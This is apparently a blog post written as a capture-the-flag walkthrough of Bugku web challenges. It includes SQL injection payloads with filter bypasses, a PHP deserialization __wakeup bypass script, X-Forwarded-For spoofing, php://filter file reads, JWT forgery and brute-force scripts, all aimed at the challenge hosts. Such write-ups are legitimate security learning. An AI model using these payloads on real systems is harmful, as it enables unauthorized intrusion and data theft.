• bugku论剑场web解题记录


    前言

    国庆这几天感觉没什么好玩的地方,家又离的太远,弱鸡的我便决定刷刷题涨涨知识,于是就有了这篇文章。。

    正文

    写的不对的地方欢迎指正

    web26

    打开直接就是代码,这应该就是一道代码审计的题了

     这里主要需要绕过第一个正则匹配,同时要令$result为真就能得到flag了

    d+匹配多个数字字符
    s 特殊字符圆点 . 中包含换行符
    D 如果使用$限制结尾字符,则不匹配结尾换行;(详细可百度正则表达式修饰符)
     这里的/d+/sD是用来匹配数字,只需字符串就可以绕过
     

     is_numeric() 函数用于检测变量是否为数字或数字字符串。

    如果指定的变量是数字和数字字符串则返回 TRUE,否则返回 FALSE。
    注意
    运算符=(且等号是右联,即右边等于左边)优先于and,即程序执行时会先执行等号在执行and
    构造?str=a&num=1
     
     
    web1
     
    只需第一个两个if都为true即可得flag  
    isset() 函数用于检测变量是否已设置并且非 NULL。 
    如果已经使用 unset() 释放了一个变量之后,再通过 isset() 判断将返回 FALSE。
    若使用 isset() 测试一个被设置成 NULL 的变量,将返回 FALSE。
    同时要注意的是 null 字符("")并不等同于 PHP 的 NULL 常量。
    PHP 版本要求: PHP 4, PHP 5, PHP 7
    注意:如果$a='',还是会返回ture
    extract()会覆盖已有变量 
    file_get_contents()
    当它读取不存在的文件时会报错,返回空值,但是程序会继续往下执行(直接读取字符串也返回空值) 
    于是构造?a= 
    web9
    提示
     这里需要用到RESTful API的put方法
    命令行执行curl -X PUT -d "bugku" http://123.206.31.85:3031/
    -X指定请求方式 -d 接传入的数据
    然后解密即可
    RESTful API简单介绍
    1. REST 是Repersentational State Transfer的缩写
    直接翻译的意思是"表现层状态转化"。  
    它是一种互联网应用程序的API设计理念:URL定位资源,用HTTP动词(GET,POST,DELETE,DETC)描述操作。
    URI  即统一资源标识符,服务器上每一种资源,比如文档、图像、视频片段、程序 都由一个通用资源标识符(Uniform Resource Identifier, 简称"URI")进行定位。
    HTTP动词  常用的HTTP动词有下面五个
        • GET(SELECT):从服务器取出资源(一项或多项)。
        • POST(CREATE):在服务器新建一个资源。
        • PUT(UPDATE):在服务器更新资源(客户端提供改变后的完整资源)。
        • PATCH(UPDATE):在服务器更新资源(客户端提供改变的属性)。
        • DELETE(DELETE):从服务器删除资源。
    3. 对资源的增删改查对应URL的操作(POST,DELETE,PUT,GET)  
    RESTful架构  
    服务器上每一种资源,比如一个文件,一张图片,一部电影,都有对应的url地址,如果我们的客户端需要对服务器上的这个资源进行操作,就需要通过http协议执行相应的动作来操作它,比如进行获   取,更新,删除。    
    简单来说就是url地址中只包含名词表示资源,使用http动词表示动作进行操作资源  
    举个例子:  
    GET /blog/Articles 获取所有文章  
    POST /blog/Articles 添加一篇文章  
    PUT /blog/Articles 修改一篇文章  
    DELETE /blog/Articles/1 删除一篇文章
    RESTful API示例(2)下面举几个RESTful API的例子,假设下面是一个学校学生信息的项目
    • URL: http://localhost/student
    • GET /student 获取学生列表
    • POST /student 新学员报到
    • GET /student/110 获取ID为110的学生信息
    • PUT /student/110 修改ID为110的学生信息
    • DELETE /student/110 删除ID为110的学生信息
    • GET /student/110/home 获取ID为110的学生的家庭信息
     
    web2
     
    每次访问式子都不一样,这里要用到脚本了
     
    import re
    import requests
    url = 'http://123.206.31.85:10002/'
    r = requests.session()
    text = r.get(url).text
    calc = str(re.findall("(.*?)</p>", text))[2:-2]
    ans = eval(calc)
    data = {'result':ans}
    res = r.post(url, data)
    print(res.text)
    web6
    看到本地,于是伪造本地登陆
    X-Forwarded-For:127.0.0.1
    在访问
    查看源码
     解码test123再登录,就可以看到flag
    xff简单介绍
    X-Forwarded-For(XFF)是用来识别通过HTTP代理或负载均衡方式连接到Web服务器的客户端最原始的IP地址的HTTP请求头字段。通俗来说,就是浏览器访问网站的IP。
    X-Forwarded-For: client1, proxy1, proxy2, proxy3
    左边第一个是浏览器IP,依次往右为第一个代理服务器IP,第二个,第三个(使用逗号+空格进行分割)(因此在代码中获取XFF 头信息中的第一个元素即为真实客户端IP)
     
    很多系统简单的获取XFF头中定义的IP地址设置为来源地址,进行访问控制,攻击者可以篡改HTTP请求包中XFF项进行IP地址伪造。
     
    利用方式
    可以通过专门的抓包改包工具或者浏览器插件或者使用脚本语言构造headers参数
     
    web3

     以为是文件上传之类的

    上传php出现
    估计用了白名单
    上传png出现
     
    说是尺寸不符
    改了图片尺寸后出现(无法加载)
    于是在传一个正常可以加载的png图片马,成功
     
    点击可以view看到绝对路径
    http://123.206.31.85:10003/uploads/5c1516df1ae918f9b79657437cafa780b746d843.png
    尝试包含http://123.206.31.85:10003/?op=uploads/5c1516df1ae918f9b79657437cafa780b746d843.png
    却反回没有这个界面,然后就有点懵。。。 
    后来发现的确是个文件包含,但它是结合文件读取来拿flag
    通过php://filter协议来查看源文件内容
    php://filter/convert.base64-encode/resource=flag
    就能得到flag
     
    web4
    看到登录框
    首先尝试各种弱口令无果,判断sql注入也没有任何回显
    再尝试万能密码
    这里是通过闭合够造的万能密码,注入点在password处,用户名随便(估计sql语句只用到了password)
    ' or '1'='1
    登陆成功后,直接返回flag
     
    web11
    看到页面名有robots
    于是访问
    在访问shell.php
    截取某个值md5加密后的前6位相等才会返回flag
    无法找到后面的值是怎么生成的(每次刷新都不一样)
    看大佬文章说是可以爆破(通常题目不会太难我们可以纯数字爆破,难一点的应该会有提示)
    于是脚本爆破
    import hashlib
    
    def md5(key):
        m = hashlib.md5()
        m.update(key.encode('utf-8'))
        return m.hexdigest()
    
    for i in range(1000000000):#i等于从零开始
        if md5(str(i))[0:6] == '66f021':#把i转化为字符串,对字符串里面的内容加密在截取0到6位比较
            print(i)
            break
    web18
     题目说是ezsql,又看到id,sql注入没跑的了
    然后就是找注入点
    ?id=1'   空白
    ?id=1'--+   正常
    应该是单引号闭合
    ?id=1' and 1=1--+  空白
    估计是有过滤
    ?id=1' or 1=1--+  空白
    ?id=1' || 1=1--+  正常
    ?id=1' && 1=1--+   空白
    应该是把and,or过滤了
    又试了一下?id=1' oorr 1=1--+  正常
    应该是双写绕过了
    这里or,and,select,union等等都过滤了
    判断回显为
    ?id=1' oorrder by 3--+  正常
    ?id=1' oorrder by 4--+   不正常
    ?id=1'  anandd 1=2 UUNIONnion sSELECTelect 1,2,group_concat(schema_name) from infoorrmation_schema.schemata--+

    然后就正常注入找表找列找字段

    ?id=-2' uniounionn selecselectt 1,2,group_concat(flag) from flag--+
     

    web24
    打开是个商城无论点哪里都没用
    dirsearch扫目录,发现有个index目录,访问
    从提示的flag.php来看,这题主要是想要我们通过__destruct读取文件了
    分析
    __construct当一个对象创建时被调用;
    __destruct当一个对象销毁时被调用(在php脚本结束时调用);
    __wakeup当一个对象被反序列化的时候调用
     
    __wakeup里面的代码为了把传入的变量flie变为index.php
    __construct是令$this->flie等于flie
    而flie是可控的
     
    反序列化后会先调用魔术方法__wakeup(),再调用__construct(),即无论我们令flie等于多少,再反序列化后都会被重新赋值为index.php
    因此我们要绕过__wakeup()函数
     
    一个字符串或对象被序列化后,如果其属性被修改,则不会执行__wakeup()函数(当序列化字符串当中属性个数值大于实际的属性个数时,就会导致反序列化异常,从而跳过__wakeup函数
    所以只需要改变对象属性个数就可以绕过__wakeup()函数,即把对象属性个数”:1:”改成”:2:”
    脚本如下
    <?php
    class Small_white_rabbit{ 
        private $file = 'index.php';

        public function __construct($file) {
            $this->file = $file;
        }

        function __destruct() {
            echo @highlight_file($this->file, true);
        }

        function __wakeup() {
            if ($this->file != 'index.php') {
                //the secret is in the_f1ag.php
                $this->file = 'index.php';
            }
        }
    }

    $a=new Small_white_rabbit('the_f1ag.php');
    $b = serialize($a);
    $s = preg_replace('/:1:/', ':2:', $b);
    echo base64_encode($s);
    ?>
    http://123.206.31.85:10024/index?var=TzoxODoiU21hbGxfd2hpdGVfcmFiYml0IjoyOntzOjI0OiIAU21hbGxfd2hpdGVfcmFiYml0AGZpbGUiO3M6MTI6InRoZV9mMWFnLnBocCI7fQ==
    直接传入即可
     
     
    web23
     访问网站什么也没有,扫目录
     
    访问readme.txt
     
     提示密码只有三位数
    访问admin/login.html
    正常输入
    抓包爆破
    密码为677
    然后配合验证码登陆即可
     
    实际上从它的主页来看是想让我们绕过验证码登陆

     访问readme.txt

    图片中有方法的解释
    因此我们先
    抓包
    设置code为空
    修改phpsessid为随意值
    其它不变,
     
     
    流量分析
     
    下载后
    wireshark打开
    右键追踪tcp流即可
     
     
    日志审计
    打开后通常全局搜flag
    经过处理后
    发现有很多如下语句页面返回是200,说明注入成功(此语句是sql盲注)
    hence' AND ORD(MID((SELECT IFNULL(CAST(secret AS CHAR),0x20) FROM haozi.secrets ORDER BY secret LIMIT 0,1),1,1))=102-- pZaF
    经整理
    102,108,97,103,123,109,97,121,105,121,97,104,101,105,49,57,54,53,97,101,55,53,54,57,125,
    在将它十进制转ascll字符就行
     
     
     
     
    web13
    源码,扫目录都无提示
    无论输入什么都是
    Wrong answer!
    抓包发现响应包中有
    提示:眼见为实,也许您需要更快
    把上面的base64解码有个假flag
    令password等于flag里面的值发送
    返回不在是wrong
    而是说我们要更快
    显然这里得用到脚本了
     
    推测需要先发送一个请求截取Password字段,然后base解密取flag{}内包含的值作为password的值发包,速度要快。
    import requests
    import base64
    url = 'http://123.206.31.85:10013/index.php'
    r = requests.session()#建立会话,r相当于请求包
    r1 = r.post(url, data = {'password':'flag'})#rpost发送password,r1相当于它的响应包
    Password = r1.headers['Password']#获取r1的Password对应的值
    password = str(base64.b64decode(Password), 'utf-8')[5:-1]#对它解码,后面是把Password转化为二进制格式在解码,因为加解密都不能直接对字符串解码
    r2 = r.post(url, data = {'password':password})
    print(r2.text)
      
    web20
    说是提交密文,但每次提交密文都会改变
    猜测可能是我们提交的太慢了于
    是拿web2的脚本修改一下
    import re
    import requests
    url = 'http://123.206.31.85:10020/'
    r = requests.session()#建立会话
    text = r.get(url).text#获取此页面内容
    print("~~~~~~~~~~~~~~~~~~")
    print(text)
    print("~~~~~~~~~~~~~")
    calc = str(re.findall(r'^(.*?)<br/>', text))[-35:-2]#正则匹配我们需要的密文
    print("~~~~~~~~~~~~~~")#
    print(calc)
    print("~~~~~~~~~~~~~``")
    #ans = eval(calc)#计算
    data = {'key':calc}#把值传给key
    res = r.get(url, params=data)#在r这个会话中传入get值,把返回的内容传给res
    print(res.text)
    print("~~~~~~~~~~")
    print(res.url)
    这需要多运行几次才能看到flag
     
     
    web25
    这题主要还是看脑洞吧
    进去说鬼知道是啥
    扫目录有个check.php,shell.php
    查看各种源码都没提示
    看来一定要输对值才行
     
    下载应该有用
    直接访问不行
    删掉2后可以访问
    看到flag以为要自己拼
    尝试无果
    一个一个在主页试不行
    后来在shell那里试可以
     
     
    web10
    首先查看源码
     base32解码得
    kk:kk123
    估计是用户名和密码
    登陆
    提示vim,且说L3yx的网站有秘密,flag应该就在L3yx的网站里了
    估计于.swp文件泄露有关
    Linux下的vim编辑器在非正常退出的情况下会自动生成swp后缀的备份文件(.(filename).swp),比如编辑a.php异常退出时会产生  .a.php.swp 
     我们登录后在重新访问能直接看到目录
    直接找到.swp
    linux系统下
    使用vi -r L3yx.php.swp
    可以恢复文件
    不知道jwt的我赶紧了解了一下http://www.ruanyifeng.com/blog/2018/07/json_web_token-tutorial.html了解后就可以这题主要就是想让我们同过jwt的检验机制登录了
    jwt的前两部分可以直接base64解密看到,而第三部分签名的密钥应该就是源码里的key了这样的话我们就可以自己构造JWT 令牌(也就是token)了
    从源码中可以看出其它三个是固定的,主要还是靠account来确定进入哪个用户 
    这里我们就直接访问user.php,把抓到的token前两部分解码
    然后去https://jwt.io/
    把kk改为L3yx,再输入密钥(这里还要注意时间的问题,有效期只有五秒)
    然后就把我们构造的token传入发包即可
     
    web15
    源码什么也没有,扫目录发现有index.php但会自动跳转
    抓包发现hint: 4D525757593544474D34365432
    先base16在32在64
    结果提示:vim~
    那应该与swp有关
    在1ndex.php提交一直没用(回显不是这里,估计得在index.php提交)
     
     
    持续更新中~~~
  • 相关阅读:
    监控里的主码流和子码流是什么意思
    监控硬盘容量计算
    一个能让你了解所有函数调用顺序的Android库
    电工选线
    oracle linux dtrace
    list all of the Oracle 12c hidden undocumented parameters
    Oracle Extended Tracing
    window 驱动开发
    win7 x64 dtrace
    How to Use Dtrace Tracing Ruby Executing
  • 原文地址:https://www.cnblogs.com/lceFIre/p/11628512.html
Copyright © 2020-2023  润新知